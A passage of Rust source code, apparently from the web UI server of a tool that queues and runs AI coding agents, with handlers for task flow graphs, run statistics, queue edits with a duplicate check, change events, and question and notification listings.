4518 max_attempts: usize,
4519}
4520
4521fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4524 let node = |key: &str, kind, label: String| FlowNode {
4525 key: key.to_owned(),
4526 kind,
4527 label,
4528 status: None,
4529 note: None,
4530 run_kind: None,
4531 detail: None,
4532 decided: false,
4533 readable: true,
4534 href: None,
4535 };
4536 let mut nodes = Vec::new();
4537 let mut edges: Vec<FlowEdge> = Vec::new();
4538 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4540 let mut n = node(
4541 "chat",
4542 "chat",
4543 format!("Chat {}", crate::queue::short(&link.id)),
4544 );
4545 n.href = Some(link.href);
4546 nodes.push(n);
4547 edges.push(FlowEdge {
4548 from: "chat".to_owned(),
4549 to: "start".to_owned(),
4550 label: "queued from chat".to_owned(),
4551 attempt: AttemptCost::None,
4552 });
4553 }
4554 nodes.push(node("start", "start", "Task queued".to_owned()));
4555 let mut prev = "start".to_owned();
4556 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4557 for (i, h) in history.iter().enumerate() {
4558 let key = format!("run-{}", h.n);
4559 let mut n = node(&key, "run", format!("Run {}", h.short));
4560 n.run_kind = Some(h.kind);
4561 n.readable = h.readable;
4562 n.href = Some(format!("#/runs/{}", h.id));
4563 n.decided = h.readable && !h.provisional;
4564 n.detail = h
4565 .branch
4566 .as_ref()
4567 .map(|b| format!("review-only run of branch {b}"));
4568 match h.exit {
4569 RunExit::Unreadable => n.note = Some("unreadable"),
4570 RunExit::Interrupted => n.note = Some("interrupted"),
4571 _ => {
4572 n.status = h.status;
4573 if h.provisional {
4574 n.note = Some("no verdict");
4575 }
4576 }
4577 }
4578 let into = match h.kind {
4579 "review" => Some(format!(
4580 "review-only run of branch {}",
4581 h.branch.as_deref().unwrap_or("?")
4582 )),
4583 "resume" => Some("resume the same run".to_owned()),
4584 _ if i > 0 => Some("retry".to_owned()),
4585 _ => None,
4586 };
4587 let label = match (prev_exit, into) {
4588 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4589 (Some((e, st)), None) => e.edge_label(st),
4590 (None, Some(i)) => i,
4591 (None, None) => "claimed".to_owned(),
4592 };
4593 edges.push(FlowEdge {
4594 from: prev.clone(),
4595 to: key.clone(),
4596 label,
4597 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4598 });
4599 prev_exit = Some((h.exit, h.status));
4600 prev = key;
4601 nodes.push(n);
4602 }
4603 let mut end = node("end", "end", task.status.as_str().to_owned());
4604 end.status = Some(task.status.as_str());
4605 nodes.push(end);
4606 let (label, attempt) = match prev_exit {
4607 None => (
4608 format!("no run yet \u{2192} {}", task.status.as_str()),
4609 AttemptCost::None,
4610 ),
4611 Some((e, st)) if e.explains(task.status) => (
4612 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4613 e.cost(),
4614 ),
4615 Some((e, _)) => (
4616 format!("closed by hand: task is {}", task.status.as_str()),
4617 e.cost(),
4618 ),
4619 };
4620 edges.push(FlowEdge {
4621 from: prev,
4622 to: "end".to_owned(),
4623 label,
4624 attempt,
4625 });
4626 FlowView {
4627 nodes,
4628 edges,
4629 attempts: task.attempts,
4630 max_attempts,
4631 }
4632}
4633
4634fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4637 let mut history = Vec::with_capacity(task.runs.len());
4638 let mut seen: Vec<&str> = Vec::new();
4639 let mut prior: Option<(&str, RunStatus)> = None;
4640 for (i, run_id) in task.runs.iter().enumerate() {
4641 let state = read(run_id);
4642 let resumed = seen.contains(&run_id.as_str());
4643 seen.push(run_id);
4644 history.push(task_run_view(
4645 run_id,
4646 state.as_ref(),
4647 RunSlot {
4648 n: i + 1,
4649 resumed,
4650 resumed_later: task.runs[i + 1..]
4651 .iter()
4652 .position(|r| r == run_id)
4653 .map(|off| i + off + 2),
4654 prior,
4655 last: i + 1 == task.runs.len(),
4656 },
4657 task,
4658 ));
4659 if let Some(s) = &state {
4660 prior = Some((run::short_of(run_id), s.status));
4661 }
4662 }
4663 history
4664}
4665
4666async fn task_detail(
4667 State(ui): State<Arc<Ui>>,
4668 Path(id): Path<String>,
4669) -> ApiResult<Json<TaskDetailView>> {
4670 blocking(move || {
4671 let id = resolve_task(&ui.queue, &id)?;
4672 let task = ui
4673 .queue
4674 .get(&id)
4675 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4676 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4677 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4678 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4679 let max_attempts = daemon::Opts::default().max_attempts;
4680 let flow = task_flow(&task, &history, max_attempts);
4681 Ok(Json(TaskDetailView {
4682 max_attempts,
4683 flow,
4684 history,
4685 runs_unreadable,
4686 attempts_note: ATTEMPTS_NOTE,
4687 task: TaskView::with_inventory(task, &inv),
4688 }))
4689 })
4690 .await
4691}
4692
4693#[derive(Debug, Serialize)]
4697struct RateView {
4698 pct: f64,
4699 denominator: usize,
4700}
4701
4702impl RateView {
4703 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4704 (denominator > 0).then(|| Self {
4705 pct: 100.0 * numerator as f64 / denominator as f64,
4706 denominator,
4707 })
4708 }
4709}
4710
4711#[derive(Debug, Serialize)]
4716struct StatsTotalsView {
4717 runs: usize,
4718 merged: usize,
4719 ready: usize,
4720 blocked: usize,
4721 failed: usize,
4722 stalled: usize,
4723 verified_noop: usize,
4724 superseded: usize,
4725 in_progress: usize,
4726 completion_rate: Option<RateView>,
4727 tallied: usize,
4728 split: usize,
4729 split_rate: Option<RateView>,
4730 deliberated: usize,
4731 minds_changed: usize,
4732 converged: usize,
4733 review_rounds: usize,
4734}
4735
4736impl From<&stats::Totals> for StatsTotalsView {
4737 fn from(t: &stats::Totals) -> Self {
4738 Self {
4739 runs: t.runs,
4740 merged: t.merged,
4741 ready: t.ready,
4742 blocked: t.blocked,
4743 failed: t.failed,
4744 stalled: t.stalled,
4745 verified_noop: t.verified_noop,
4746 superseded: t.superseded,
4747 in_progress: t.in_progress,
4748 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4749 tallied: t.tallied,
4750 split: t.split,
4751 split_rate: RateView::of(t.split, t.tallied),
4752 deliberated: t.deliberated,
4753 minds_changed: t.minds_changed,
4754 converged: t.converged,
4755 review_rounds: t.review_rounds,
4756 }
4757 }
4758}
4759
4760#[derive(Debug, Serialize)]
4762struct AgentStatsView {
4763 agent: String,
4764 entered: usize,
4765 wins: usize,
4766 empty: usize,
4767 win_rate: Option<RateView>,
4768}
4769
4770impl From<&stats::AgentStats> for AgentStatsView {
4771 fn from(a: &stats::AgentStats) -> Self {
4772 Self {
4773 agent: a.agent.clone(),
4774 entered: a.entered,
4775 wins: a.wins,
4776 empty: a.empty,
4777 win_rate: RateView::of(a.wins, a.entered),
4778 }
4779 }
4780}
4781
4782#[derive(Debug, Serialize)]
4786struct ReviewerStatsView {
4787 agent: String,
4788 rounds: usize,
4789 seated: usize,
4790 submitted: usize,
4791 adopted: usize,
4792 unique: usize,
4793 timeouts: usize,
4794 adopted_per_round: Option<f64>,
4795 precision: Option<RateView>,
4796 unique_rate: Option<RateView>,
4797 timeout_rate: Option<RateView>,
4798}
4799
4800impl From<&stats::ReviewerStats> for ReviewerStatsView {
4801 fn from(r: &stats::ReviewerStats) -> Self {
4802 Self {
4803 agent: r.agent.clone(),
4804 rounds: r.rounds,
4805 seated: r.seated,
4806 submitted: r.submitted,
4807 adopted: r.adopted,
4808 unique: r.unique,
4809 timeouts: r.timeouts,
4810 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4811 precision: RateView::of(r.adopted, r.submitted),
4812 unique_rate: RateView::of(r.unique, r.submitted),
4813 timeout_rate: RateView::of(r.timeouts, r.seated),
4814 }
4815 }
4816}
4817
4818#[derive(Debug, Serialize)]
4824struct AdvisorStatsView {
4825 agent: String,
4826 seated: usize,
4827 proposed: usize,
4828 absent: usize,
4829 faint: usize,
4830 strong: usize,
4831 reflection_rate: Option<RateView>,
4832}
4833
4834impl From<&stats::AdvisorStats> for AdvisorStatsView {
4835 fn from(a: &stats::AdvisorStats) -> Self {
4836 Self {
4837 agent: a.agent.clone(),
4838 seated: a.seated,
4839 proposed: a.proposed,
4840 absent: a.absent,
4841 faint: a.faint,
4842 strong: a.strong,
4843 reflection_rate: RateView::of(a.strong, a.proposed),
4844 }
4845 }
4846}
4847
4848#[derive(Debug, Serialize)]
4850struct E2eStatsView {
4851 rounds: usize,
4852 failures: usize,
4853 sole_detections: usize,
4854 deferred: usize,
4855 sole_rate: Option<RateView>,
4856}
4857
4858impl From<&stats::E2eStats> for E2eStatsView {
4859 fn from(e: &stats::E2eStats) -> Self {
4860 Self {
4861 rounds: e.rounds,
4862 failures: e.failures,
4863 sole_detections: e.sole_detections,
4864 deferred: e.deferred,
4865 sole_rate: RateView::of(e.sole_detections, e.failures),
4866 }
4867 }
4868}
4869
4870#[derive(Debug, Serialize)]
4878struct ReleaseBumpStatsView {
4879 merged: usize,
4880 recorded: usize,
4881 pr_opened: usize,
4882 automerge_enabled: usize,
4883 merged_directly: usize,
4884 needs_attention: usize,
4885 clean: usize,
4886 coverage_rate: Option<RateView>,
4887 automerge_rate: Option<RateView>,
4888 attention_rate: Option<RateView>,
4889}
4890
4891impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4892 fn from(b: &stats::ReleaseBumpStats) -> Self {
4893 Self {
4894 merged: b.merged,
4895 recorded: b.recorded,
4896 pr_opened: b.pr_opened,
4897 automerge_enabled: b.automerge_enabled,
4898 merged_directly: b.merged_directly,
4899 needs_attention: b.needs_attention,
4900 clean: b.clean(),
4901 coverage_rate: RateView::of(b.recorded, b.merged),
4902 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4903 attention_rate: RateView::of(b.needs_attention, b.recorded),
4904 }
4905 }
4906}
4907
4908#[derive(Debug, Serialize)]
4910struct TaskCountsView {
4911 queued: usize,
4912 running: usize,
4913 done: usize,
4914 failed: usize,
4915 held: usize,
4916 blocked: usize,
4917 parked: usize,
4918}
4919
4920impl From<crate::queue::TaskCounts> for TaskCountsView {
4921 fn from(c: crate::queue::TaskCounts) -> Self {
4922 Self {
4923 queued: c.queued,
4924 running: c.running,
4925 done: c.done,
4926 failed: c.failed,
4927 held: c.held,
4928 blocked: c.blocked,
4929 parked: c.parked,
4930 }
4931 }
4932}
4933
4934#[derive(Debug, Serialize)]
4940struct RepoSummaryView {
4941 repo: String,
4944 name: String,
4946 runs: usize,
4947 completion_rate: Option<RateView>,
4948}
4949
4950impl From<&stats::RepoStats> for RepoSummaryView {
4951 fn from(r: &stats::RepoStats) -> Self {
4952 let t = &r.stats.totals;
4953 Self {
4954 repo: r.repo.to_string_lossy().into_owned(),
4955 name: r.name.clone(),
4956 runs: t.runs,
4957 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4958 }
4959 }
4960}
4961
4962#[derive(Debug, Serialize)]
4968struct StatsView {
4969 totals: StatsTotalsView,
4970 agents: Vec<AgentStatsView>,
4972 reviewers: Vec<ReviewerStatsView>,
4974 advisors: Vec<AdvisorStatsView>,
4976 e2e: E2eStatsView,
4977 release_bumps: ReleaseBumpStatsView,
4978 queue: TaskCountsView,
4979 runs_unreadable: usize,
4989 repos: Vec<RepoSummaryView>,
4993 daily: Vec<DailyStatsView>,
4998 repo: Option<String>,
5002 retired_hidden: Vec<String>,
5006}
5007
5008#[derive(Debug, Serialize)]
5010struct DailyStatsView {
5011 date: String,
5013 runs: usize,
5014 merged: usize,
5015 ready: usize,
5016 other: usize,
5017 completion_rate: Option<RateView>,
5019}
5020
5021impl From<&stats::DayBucket> for DailyStatsView {
5022 fn from(b: &stats::DayBucket) -> Self {
5023 Self {
5024 date: b.date.to_string(),
5025 runs: b.runs,
5026 merged: b.merged,
5027 ready: b.ready,
5028 other: b.other,
5029 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5030 }
5031 }
5032}
5033
5034const STATS_DAILY_DAYS: usize = 30;
5036
5037#[derive(Debug, Default, Deserialize)]
5046#[serde(default)]
5047struct StatsQuery {
5048 repo: Option<String>,
5049 all: bool,
5051}
5052
5053async fn stats_get(
5060 State(ui): State<Arc<Ui>>,
5061 Query(q): Query<StatsQuery>,
5062) -> ApiResult<Json<StatsView>> {
5063 blocking(move || {
5064 let states: Vec<RunState> = run_ids(&ui.runs)
5065 .into_iter()
5066 .filter_map(|id| read_run(&ui.runs, &id).ok())
5067 .collect();
5068 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5069 .iter()
5070 .map(RepoSummaryView::from)
5071 .collect();
5072 let mut scoped: Vec<&RunState> = states.iter().collect();
5073 let mut collected = match &q.repo {
5074 Some(repo) => {
5075 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5076 if filtered.is_empty() {
5077 return Err(ApiError::not_found(format!(
5078 "no runs recorded against repo `{repo}`"
5079 )));
5080 }
5081 scoped = filtered.clone();
5082 stats::collect_refs(filtered)
5083 }
5084 None => stats::collect(&states),
5085 };
5086 if !q.all {
5087 let repo = q
5088 .repo
5089 .as_deref()
5090 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5091 stats::retain_current_roster(&mut collected, &repo);
5092 }
5093 let daily = stats::daily(
5094 scoped,
5095 jiff::Zoned::now().date(),
5096 &jiff::tz::TimeZone::system(),
5097 STATS_DAILY_DAYS,
5098 );
5099 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5100 Ok(Json(StatsView {
5101 totals: StatsTotalsView::from(&collected.totals),
5102 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5103 reviewers: collected
5104 .reviewers
5105 .iter()
5106 .map(ReviewerStatsView::from)
5107 .collect(),
5108 advisors: collected
5109 .advisors
5110 .iter()
5111 .map(AdvisorStatsView::from)
5112 .collect(),
5113 e2e: E2eStatsView::from(&collected.e2e),
5114 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5115 queue: TaskCountsView::from(queue_counts),
5116 runs_unreadable: runs_unreadable(&ui.runs),
5117 repos,
5118 daily: daily.iter().map(DailyStatsView::from).collect(),
5119 repo: q.repo.clone(),
5120 retired_hidden: collected.retired_hidden.clone(),
5121 }))
5122 })
5123 .await
5124}
5125
5126#[derive(Debug, Default, Deserialize)]
5129#[serde(default, deny_unknown_fields)]
5130struct HoldBody {
5131 reason: Option<String>,
5132}
5133
5134async fn queue_hold(
5135 State(ui): State<Arc<Ui>>,
5136 Path(id): Path<String>,
5137 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5138) -> ApiResult<Json<TaskView>> {
5139 let body = match body {
5143 Ok(Json(body)) => body,
5144 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5145 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5146 };
5147 let reason = body.reason.filter(|r| !r.trim().is_empty());
5148 mutate(ui, id, move |t| {
5149 t.hold_manual(reason.clone());
5150 Ok(())
5151 })
5152 .await
5153}
5154
5155async fn queue_release(
5156 State(ui): State<Arc<Ui>>,
5157 Path(id): Path<String>,
5158) -> ApiResult<Json<TaskView>> {
5159 mutate(ui, id, |t| {
5160 t.release();
5161 Ok(())
5162 })
5163 .await
5164}
5165
5166#[derive(Debug, Deserialize)]
5168#[serde(deny_unknown_fields)]
5169struct PriorityBody {
5170 priority: i32,
5171}
5172
5173async fn queue_priority(
5179 State(ui): State<Arc<Ui>>,
5180 Path(id): Path<String>,
5181 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5182) -> ApiResult<Json<TaskView>> {
5183 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5184 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5185}
5186
5187#[derive(Debug, Deserialize)]
5189#[serde(deny_unknown_fields)]
5190struct EditBody {
5191 title: String,
5192 instruction: String,
5193 #[serde(default)]
5196 force: bool,
5197}
5198
5199async fn queue_edit(
5203 State(ui): State<Arc<Ui>>,
5204 Path(id): Path<String>,
5205 body: std::result::Result<Json<EditBody>, JsonRejection>,
5206) -> ApiResult<Json<TaskView>> {
5207 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5208 let mut judged: Option<(String, PathBuf)> = None;
5212 if !body.force {
5213 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5214 let (id, text) = (id.clone(), body.instruction.clone());
5215 let (seen, hits) = blocking(move || {
5216 let id = resolve_task(&queue, &id)?;
5217 let t = queue.get(&id)?;
5218 if text == t.instruction {
5219 return Ok((None, Vec::new()));
5220 }
5221 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5222 Ok((Some((t.instruction, t.repo)), hits))
5223 })
5224 .await?;
5225 if let Some((_, repo)) = &seen {
5226 let cfg = crate::config::Config::discover(repo, None)
5227 .ok()
5228 .map(|(c, _)| c);
5229 let screened =
5230 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5231 .await
5232 .map_err(|dup| {
5233 ApiError::conflict(dup.render(
5234 "Nothing was saved. If it is not a duplicate, repeat the request \
5235 with \"force\": true.",
5236 ))
5237 })?;
5238 if let crate::dupes::Screened::Unjudged(why) = screened {
5239 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5240 }
5241 }
5242 judged = seen;
5243 }
5244 let force = body.force;
5245 mutate(ui, id, move |t| {
5246 if !force && body.instruction != t.instruction {
5247 match &judged {
5248 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5249 _ => {
5250 anyhow::bail!("the task changed while it was being checked; repeat the request")
5251 }
5252 }
5253 }
5254 t.edit(body.title.clone(), body.instruction.clone())
5255 })
5256 .await
5257}
5258
5259async fn queue_done(
5267 State(ui): State<Arc<Ui>>,
5268 Path(id): Path<String>,
5269) -> ApiResult<Json<TaskView>> {
5270 let home = ui.home.clone();
5271 mutate(ui, id, move |t| {
5272 t.succeed();
5273 crate::daemon::supersede_prior_runs(t, &home);
5281 Ok(())
5282 })
5283 .await
5284}
5285
5286async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5294 blocking(move || {
5295 let id = resolve_task(&ui.queue, &id)?;
5296 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5297 ui.queue
5298 .remove(&id, in_flight, &ui.questions)
5299 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5300 Ok(StatusCode::NO_CONTENT)
5301 })
5302 .await
5303}
5304
5305async fn mutate(
5314 ui: Arc<Ui>,
5315 id: String,
5316 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5317) -> ApiResult<Json<TaskView>> {
5318 blocking(move || {
5319 let id = resolve_task(&ui.queue, &id)?;
5320 let _claim = ui.queue.claim(&id).map_err(|e| {
5325 ApiError::conflict(format!(
5326 "{e:#} - a daemon is running this task, so it cannot be \
5327 changed from here yet"
5328 ))
5329 })?;
5330 let mut task = ui.queue.get(&id)?;
5331 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5332 Ok(dup) => ApiError::conflict(dup.render(
5333 "Nothing was saved. If it is not a duplicate, repeat the request with \
5334 \"force\": true.",
5335 )),
5336 Err(e) => ApiError::bad_request_from(e),
5337 })?;
5338 ui.queue.put(&mut task)?;
5339 Ok(Json(TaskView::from(task)))
5340 })
5341 .await
5342}
5343
5344async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5352 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5353 tokio::spawn(async move {
5354 let mut ticker = tokio::time::interval(POLL);
5355 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5356 let mut stamps: Option<[Stamps; 3]> = None;
5357 loop {
5358 ticker.tick().await;
5361 let state = Arc::clone(&ui);
5362 let revisions = tokio::task::spawn_blocking(move || {
5363 let stamps = [
5364 store_stamps(state.queue.root(), false),
5365 store_stamps(&state.runs, true),
5366 store_stamps(state.talks.root(), false),
5367 ];
5368 let revisions = (
5369 stamps_revision(&stamps[0]),
5370 stamps_revision(&stamps[1]),
5371 state.questions.revision(),
5372 stamps_revision(&stamps[2]),
5373 state.notices.revision(),
5374 state.lock_loop().rev,
5378 );
5379 (revisions, stamps)
5380 })
5381 .await;
5382 let Ok((revisions, next_stamps)) = revisions else {
5383 break;
5384 };
5385 if last == Some(revisions) {
5386 continue;
5387 }
5388 let mut payload = serde_json::json!({
5389 "queue_rev": revisions.0,
5390 "runs_rev": revisions.1,
5391 "questions_rev": revisions.2,
5392 "talks_rev": revisions.3,
5393 "notifications_rev": revisions.4,
5394 "loop_rev": revisions.5,
5395 });
5396 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5397 for (index, (key, rev)) in [
5398 ("queue_delta", base.0),
5399 ("runs_delta", base.1),
5400 ("talks_delta", base.3),
5401 ]
5402 .into_iter()
5403 .enumerate()
5404 {
5405 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5406 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5408 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5409 }
5410 }
5411 }
5412 last = Some(revisions);
5413 stamps = Some(next_stamps);
5414 let Ok(event) = Event::default().event("change").json_data(payload) else {
5416 break;
5417 };
5418 if tx.send(event).await.is_err() {
5419 break;
5420 }
5421 }
5422 });
5423 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5424 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5425}
5426
5427type Stamps = HashMap<String, (u128, u64)>;
5428
5429fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5431 std::fs::read_dir(root)
5432 .into_iter()
5433 .flatten()
5434 .flatten()
5435 .filter_map(|entry| {
5436 let path = if runs {
5437 entry.path().join("run.json")
5438 } else {
5439 entry.path()
5440 };
5441 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5442 return None;
5443 }
5444 let metadata = path.metadata().ok()?;
5445 let modified = metadata
5446 .modified()
5447 .ok()?
5448 .duration_since(std::time::UNIX_EPOCH)
5449 .ok()?;
5450 let id = if runs {
5451 entry.file_name().to_string_lossy().into_owned()
5452 } else {
5453 path.file_stem()?.to_string_lossy().into_owned()
5454 };
5455 Some((id, (modified.as_nanos(), metadata.len())))
5456 })
5457 .collect()
5458}
5459
5460#[derive(Debug, Serialize)]
5461struct Delta {
5462 base: u64,
5463 changed: Vec<String>,
5464 removed: Vec<String>,
5465}
5466
5467fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5468 let mut changed: Vec<_> = next
5469 .iter()
5470 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5471 .map(|(id, _)| id.clone())
5472 .collect();
5473 let mut removed: Vec<_> = previous
5474 .keys()
5475 .filter(|id| !next.contains_key(*id))
5476 .cloned()
5477 .collect();
5478 changed.sort_unstable();
5479 removed.sort_unstable();
5480 Delta {
5481 base,
5482 changed,
5483 removed,
5484 }
5485}
5486
5487fn runs_revision(runs: &FsPath) -> u64 {
5494 stamps_revision(&store_stamps(runs, true))
5495}
5496
5497fn stamps_revision(stamps: &Stamps) -> u64 {
5501 use std::hash::{Hash as _, Hasher as _};
5502 if stamps.is_empty() {
5503 return 0;
5504 }
5505 let mut entries: Vec<_> = stamps.iter().collect();
5506 entries.sort_unstable();
5507 let mut hasher = std::hash::DefaultHasher::new();
5508 entries.hash(&mut hasher);
5509 hasher.finish().max(1)
5510}
5511
5512fn run_ids(runs: &FsPath) -> Vec<String> {
5518 let mut ids: Vec<String> = std::fs::read_dir(runs)
5519 .into_iter()
5520 .flatten()
5521 .flatten()
5522 .filter(|e| e.path().join("run.json").is_file())
5523 .map(|e| e.file_name().to_string_lossy().into_owned())
5524 .collect();
5525 ids.sort_unstable_by(|a, b| b.cmp(a));
5527 ids
5528}
5529
5530fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5532 let path = runs.join(id).join("run.json");
5533 let body =
5534 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5535 let state: RunState =
5536 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5537 run::migrate_schema(state)
5542}
5543
5544#[must_use]
5552pub fn runs_unreadable(runs: &FsPath) -> usize {
5553 run_ids(runs)
5554 .into_iter()
5555 .filter(|id| read_run(runs, id).is_err())
5556 .count()
5557}
5558
5559fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5561 if runs.join(id).join("run.json").is_file() {
5562 return Ok(id.to_owned());
5563 }
5564 pick(run_ids(runs), id, "run")
5565}
5566
5567fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5569 if queue.path_of(id).is_file() {
5570 return Ok(id.to_owned());
5571 }
5572 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5573}
5574
5575#[derive(Debug, Serialize)]
5586struct QuestionView {
5587 #[serde(flatten)]
5588 question: Question,
5589 detail_md: Vec<md::Node>,
5590 thread_bodies_md: Vec<Vec<md::Node>>,
5592 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5595 waiting_on_agent: bool,
5605 holder: Option<&'static str>,
5609 deputies_enabled: bool,
5613 run_is_task: bool,
5616 origin_chat: Option<String>,
5621 origin_chat_closed: bool,
5623}
5624
5625impl QuestionView {
5626 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5630 let base = md::ImageBase::QuestionPanel {
5631 id: question.id.clone(),
5632 };
5633 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5634 Self {
5635 detail_md: md::to_nodes(&question.detail, &base),
5636 thread_bodies_md: question
5637 .thread
5638 .iter()
5639 .map(|t| md::to_nodes(&t.body, &base))
5640 .collect(),
5641 thread_notes_md: question
5642 .thread
5643 .iter()
5644 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5645 .collect(),
5646 waiting_on_agent: question.waiting_on_agent(),
5647 holder,
5648 deputies_enabled,
5649 run_is_task: question.run_names_task(),
5650 origin_chat: None,
5651 origin_chat_closed: false,
5652 question,
5653 }
5654 }
5655
5656 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5658 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5659 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5660 self.origin_chat = talk.map(|t| t.id);
5661 self
5662 }
5663}
5664
5665fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5669 Config::discover(repo, None).ok().map(|(c, _)| c)
5670}
5671
5672fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5674 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5675}
5676
5677fn question_views(
5680 qs: Vec<Question>,
5681 store: &ask::Questions,
5682 load: impl FnOnce() -> Option<Config>,
5683) -> Vec<QuestionView> {
5684 if qs.is_empty() {
5685 return Vec::new();
5686 }
5687 let cfg = load();
5688 qs.into_iter()
5689 .map(|q| {
5690 let on = deputies_enabled(cfg.as_ref(), &q);
5691 QuestionView::of(q, store, on)
5692 })
5693 .collect()
5694}
5695
5696fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5706 if !q.status.open() {
5707 return None;
5708 }
5709 if q.cwd.is_none() && q.deputy.is_none() {
5710 return crate::deputy::kind_of(q).map(|_| "nobody");
5711 }
5712 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5713 Some(_) if q.deputy.is_some() => "deputy",
5714 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5715 Some(_) => "asker",
5716 None => "nobody",
5717 })
5718}
5719
5720async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5726 blocking(move || {
5727 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5728 Ok(Json(
5729 question_views(ui.questions.list(), &ui.questions, || {
5730 deputy_config(&ui.repo)
5731 })
5732 .into_iter()
5733 .map(|v| v.with_origin(&tasks, &talks))
5734 .collect(),
5735 ))
5736 })
5737 .await
5738}
5739
5740async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5743 blocking(move || {
5744 let items = ui.notices.list();
5745 let unread = items.iter().filter(|n| n.unread()).count();
5746 Ok(Json(
5747 serde_json::json!({ "unread": unread, "items": items }),
5748 ))
5749 })
5750 .await
5751}
5752
5753fn notice_error(e: anyhow::Error) -> ApiError {
5754 ApiError::not_found(format!("{e:#}"))
5757}
5758
5759async fn notification_read(
5761 State(ui): State<Arc<Ui>>,
5762 Path(id): Path<String>,
5763) -> ApiResult<Json<Notice>> {
5764 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5765}
5766
5767async fn notification_dismiss(
5769 State(ui): State<Arc<Ui>>,
5770 Path(id): Path<String>,
5771) -> ApiResult<Json<Notice>> {
5772 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5773}
5774
5775async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5777 blocking(move || {
5778 let changed = ui.notices.mark_all_read()?;
5779 Ok(Json(serde_json::json!({ "marked": changed })))
5780 })
5781 .await
5782}
5783
5784#[derive(Debug, Default, Deserialize)]
5790#[serde(default, deny_unknown_fields)]
5791struct NewAnswer {
5792 choice: Option<String>,
5793 text: Option<String>,
5794}
5795
5796async fn question_answer(
5797 State(ui): State<Arc<Ui>>,
5798 Path(id): Path<String>,
5799 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
